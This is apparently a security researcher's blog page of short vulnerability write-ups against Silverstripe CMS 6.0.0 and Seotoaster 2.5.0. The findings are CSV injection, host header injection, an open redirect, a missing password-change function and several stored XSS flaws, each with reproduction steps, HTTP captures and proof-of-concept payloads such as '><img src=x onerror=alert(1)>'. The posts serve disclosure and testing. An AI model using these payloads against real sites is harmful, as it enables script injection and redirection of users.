Saturday, 23 August 2025

Friday Fun Pentest Series - 40 - CSV Injection - silverstripecmsv6.0.0

Description

- It was noted that the application was vulnerable to CSV Injection in the "Users" functionality


CSV Injection #1:

Steps to Reproduce:
  1. Login and visit "Security" > "Add Member" > "First Name" and enter payload of =30*30
  2. Then visit "Reports" > "Users, Groups and Permissions" > "Export as CSV"
  3. Payload would render upon opening the CSV file


// HTTP POST Request

POST /admin/security/users/EditForm/field/users/item/new/ItemEditForm HTTP/1.1
Host: demo.silverstripe.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
[...]
FirstName=%3D30*30&Surname=test&Email=test%40example.com&Password%5B_Password%5D=&Password%5B_ConfirmPassword%5D=&Locale=en_US&FailedLoginCount=&SecurityID=8f151871365766eb90355f98c745a93ae8f5205c&action_doSave=1&BackURL=https%3A%2F%2Fdemo.silverstripe.org%2Fadmin%2Fsecurity


// HTTP Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 16 Aug 2025 17:02:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
x-status: Saved%20Member%20%22test%2C%20%3D30%2A30%22%20successfully.
x-controllerurl: admin/security/users/EditForm/field/users/item/510
x-pjax: CurrentForm,Breadcrumbs,ValidationResult
x-controller: SilverStripe\Admin\SecurityAdmin
x-title: Silverstripe+-+Security
x-frame-options: SAMEORIGIN
vary: X-Requested-With
[...]





Friday Fun Pentest Series - 39 - Host Header Injection - silverstripecmsv6.0.0

 Description

- It was noted that the application was vulnerable to Host Header Injection in the login page


Host Header Injection #1:

Steps to Reproduce:

  1. Login and change the Host header to Burp Collab domain
  2. Upon logging in the Collab would get a hit from the IP of the app

// HTTP Post Request

POST /Security/login/default/LoginForm HTTP/1.1
Host: 7ksb89bppmbvc3po6ma6x72n7ed51wtki.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
[...]

AuthenticationMethod=SilverStripe%5CSecurity%5CMemberAuthenticator%5CMemberAuthenticator&Email=admin&Password=password&SecurityID=5afbb1fab346375510939ba7b65499e556b0251c&action_doLogin=Log+in


// HTTP Response

HTTP/1.1 503 Service Unavailable
Content-Type: text/html
Cache-Control: no-cache, no-store
[...]

<html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=27&xinfo=1014-115438578-0%200NNN%20RT%281755353110306%2067%29%20q%280%20-1%20-1%20-1%29%20r%284%20-1%29&incident_id=0-468567604813498382&edet=22&cinfo=ffffffff&rpinfo=0&mth=POST" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-468567604813498382</iframe></body></html>


// Burp Collab domain hit

The Collaborator server received a DNS lookup of type CNAME for the domain name www.7ksb89bppmbvc3po6ma6x72n7ed51wtki.oastify.com.  
The lookup was received from IP address 149.126.76.44:7396 at 2025-Aug-16 14:05:10.562 UTC.


Wednesday, 30 July 2025

Friday Fun Pentest Series - 38 - Lack of Password Change Functionality - seotoasterv2.5.0

Description

- It was noted that the application lacked password change functionality


Lack of Password Change Functionality #1

Steps to Reproduce:
  1. Login with low privilege user and see that there is no password change functionality

// HTTP POST Request

POST /seotoaster/go HTTP/1.1
Host: 192.168.58.149
Content-Length: 108
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://192.168.58.149
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
[...]

email=test2%40example.com&password=Passw0rd%21&submit=Let+me+in&secureToken=477a9f50c8616d5ee4cabf2038fc43a3


// HTTP Response

HTTP/1.1 301 Moved Permanently
Date: Sun, 20 Jul 2025 14:44:11 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]



Friday Fun Pentest Series - 37 - Open Redirect "Login Page" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Open Redirect in the "Login Page"


Open Redirect "Login Page" Functionality 1#

Steps to Reproduce:
  1. Login to the application and then add the Referer header to attacker domain

// HTTP POST Request

POST /seotoaster/go HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

email=admin%40example.com&password=Pasw0rd%21&submit=Let+me+in&secureToken=f3a4d32c75942f7f284ae9189e21d431



// HTTP Response

HTTP/1.1 301 Moved Permanently
Date: Sun, 20 Jul 2025 13:55:07 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://lzoujc24ovcp1k9ky066bcmas1ysmuaj.oastify.com
[...]

Friday Fun Pentest Series - 36 - Stored XSS "Edit General Info" Functionality - seotoasterv2.5.0

 Description

- It was noted that the application was vulnerable to Cross-Site Scripting (XSS) in the "Edit General Info"


Stored XSS "Edit General Info"#1

Steps to Reproduce

  1. Login with admin and visit "Website ID Card" > "Website Id Card"
  2. In the "Organization Name" add the following payload "><img src=x onerror=alert(1)>

// HTTP POST Request

POST /seotoaster/plugin/widcard/run/setWebsiteIdCard HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
Content-Disposition: form-data; name="organization_name"

"><img src=x onerror=alert(`xss1`)>
------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
Content-Disposition: form-data; name="organization_description"

"><img src=x onerror=alert(`xss2`)>
------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
[...]


// HTTP Response

HTTP/1.1 302 Found
Date: Sun, 20 Jul 2025 15:35:07 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]


// HTTP GET Request

GET /seotoaster/plugin/widcard/run/getWebsiteIdCard HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:35:11 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<input type="text" name="organization_name" value=""><img src=x onerror=alert(`xss1`)>" />
[...]

Friday Fun Pentest Series - 35 - Stored XSS "Create Page" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Cross-Site Scripting (XSS) in the "Create Page".


Stored XSS "Create Page" #1

Steps to Reproduce:
  1. Login with admin and visit "Pages" > "Create a Page" 
  2. In the "Meta Description" add the following payload "><img src=x onerror=alert(1)>


// HTTP POST Request

POST /seotoaster/backend/backend_page/page HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

h1=test3&headerTitle=test3&url=test3&navName=test3&metaKeywords=test3&metaDescription="><img src=x onerror=alert(1)>[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:42 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

{"error":0,"responseText":{"redirectTo":"test3.html"},"httpCode":200}


// HTTP GET Request

GET /seotoaster/test3.html HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:44 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<p class="news-description grid_10 omega">"><img src=x onerror=alert(1)></p>
</div>
[...]

Friday Fun Pentest Series - 34 - Stored XSS "Edit Header" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Stored Cross-Site Scripting (XSS) in the "Edit Header"


Stored XSS "Edit Header" #1

Steps to Reproduce:

  1. Login as admin user and visit "News"
  2. Click on "Edit Header Content" and enter the payload "><img src=x onerror=alert(1)>

// HTTP POST Request Editing Header

POST /seotoaster/backend/backend_content/add/containerType/3/containerName/right_2/pageId/20 HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]
content="><img src=x onerror=alert(1)>&containerType=&containerName=&pageId=&containerId=&secureToken=f617b019f0d4dc84000659711cf16b0a


// HTTP Response 

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]
{"error":0,"responseText":"148","httpCode":200}


// HTTP GET Request

GET /seotoaster/news/b2b-marketing-automation-a-booming-market-for-smart-web-agencies-1423145781.html HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<h3>"><img src=x onerror=alert(1)><a class="tpopup generator-links" data-pwidth="600" data-pheight="140" title="Click to edit header content" href="javascript:;" data-url="http://192.168.58.149/seotoaster/backend/backend_content/edit/id/148/containerType/3"><img width="26" height="26" src="http://192.168.58.149/seotoaster/system/images/editadd-header.png" alt="edit header content" /></a></h3>
[...]


Friday Fun Pentest Series - 40 - CSV Injection - silverstripecmsv6.0.0

Description - It was noted that the application was vulnerable to CSV Injection in the "Users" functionality CSV Injection #1: Ste...